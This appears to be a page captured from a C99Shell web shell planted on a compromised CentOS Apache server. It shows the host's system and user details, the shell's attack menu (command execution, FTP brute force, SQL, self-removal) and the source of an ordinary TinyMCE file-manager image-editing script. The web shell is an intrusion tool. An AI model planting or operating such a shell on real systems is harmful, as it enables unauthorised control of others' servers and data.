!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/lib/tinymce/plugins/ajaxfilemanager/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ajax_editor_reset.php (2.82 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
/**
     * reset the image
     * @author Logan Cai (cailongqun [at] yahoo [dot] com [dot] cn)
     * @link www.phpletter.com
     * @since 22/May/2007
     *
     */
    
require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR "inc" DIRECTORY_SEPARATOR "config.php");    
    if(!isset(
$_POST['path']))
    {
        
$_POST['path'] = "uploaded/Winter.jpg" .  "?" makeQueryString(array('path'));
        
//for crop
        
$_POST['mode'] = "crop";
        
$_POST['x'] = 100;
        
$_POST['y'] = 100;
        
$imageInfo = @GetImageSize($_POST['path']);
        
$_POST['width'] = $imageInfo[0];
        
$_POST['height'] = $imageInfo[1];
        
    }
    
initSessionHistory($_POST['path']);
    
    echo 
"{";
    
$error "";
    
$info "";
    
    if(empty(
$_POST['path']))
    {
        
$error  =  IMG_SAVE_EMPTY_PATH;
    }elseif(!
file_exists($_POST['path']))
    {
        
$error  =  IMG_SAVE_NOT_EXISTS;
    }else if(!
isUnderRoot($_POST['path']))
    {
        
$error IMG_SAVE_PATH_DISALLOWED;
    }
    else
    {
        if(!empty(
$_POST['mode']))
        {
            
            include_once(
CLASS_IMAGE);
            
$image = new Image();
            
$image->loadImage($_POST['path']);
            
            switch(
$_POST['mode'])
            {
                case 
"resize":                    
                    if(!
$image->resize($_POST['width'], $_POST['height'], (!empty($_POST['constraint'])?true:false)))
                    {
                        
$error IMG_SAVE_RESIZE_FAILED;
                    }                    
                    break;
                case 
"crop":
                    if(!
$image->cropToDimensions($_POST['x'], $_POST['y'], intval($_POST['x']) + intval($_POST['width']), intval($_POST['y']) + intval($_POST['height'])))
                    {
                        
$error IMG_SAVE_CROP_FAILED;
                    }
                    
                    break;
                case 
"flip":
                    if(!
$image->flip($_POST['flip_angle']))
                    {
                        
$error IMG_SAVE_FLIP_FAILED;
                    }
                    break;
                case 
"rotate":
                    if(!
$image->rotate(intval($_POST['angle'])))
                    {
                        
$error IMG_SAVE_ROTATE_FAILED;
                    }
                    break;
                default:
                    
$error IMG_SAVE_UNKNOWN_MODE;
            }
            if(empty(
$error))
            {
                
                
$sessionNewPath $session->getSessionDir() . uniqid(md5(time())) . "." getFileExt($_POST['path']);
                if(!@
copy($_POST['path'], $sessionNewPath))
                {
                    
$error IMG_SAVE_BACKUP_FAILED;
                }else 
                {
                    
addSessionHistory($_POST['path'], $sessionNewPath);
                    if(
$image->saveImage($_POST['path']))
                    {                        
                        
$imageInfo $image->getFinalImageInfo();    
                        
$info .= ",width:" $imageInfo['width'] . "\n";
                        
$info .= ",height:" $imageInfo['height'] . "\n";
                        
$info .= ",size:'" transformFileSize($imageInfo['size']) . "'\n";
                    }else 
                    {
                        
$error IMG_SAVE_FAILED;
                    }            
                }                
            }else 
            {
                
//$image->DestroyImages();
            
}
        }else 
        {
            
$error IMG_SAVE_UNKNOWN_MODE;
        }
    }
    
    echo 
"error:'" $error "'\n";
    if(isset(
$image) && is_object($image))
    {
        
$image->DestroyImages();
    }
    echo 
$info;
    echo 
",history:" sizeof($_SESSION[$_POST['path']]) . "\n";
    echo 
"}";
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--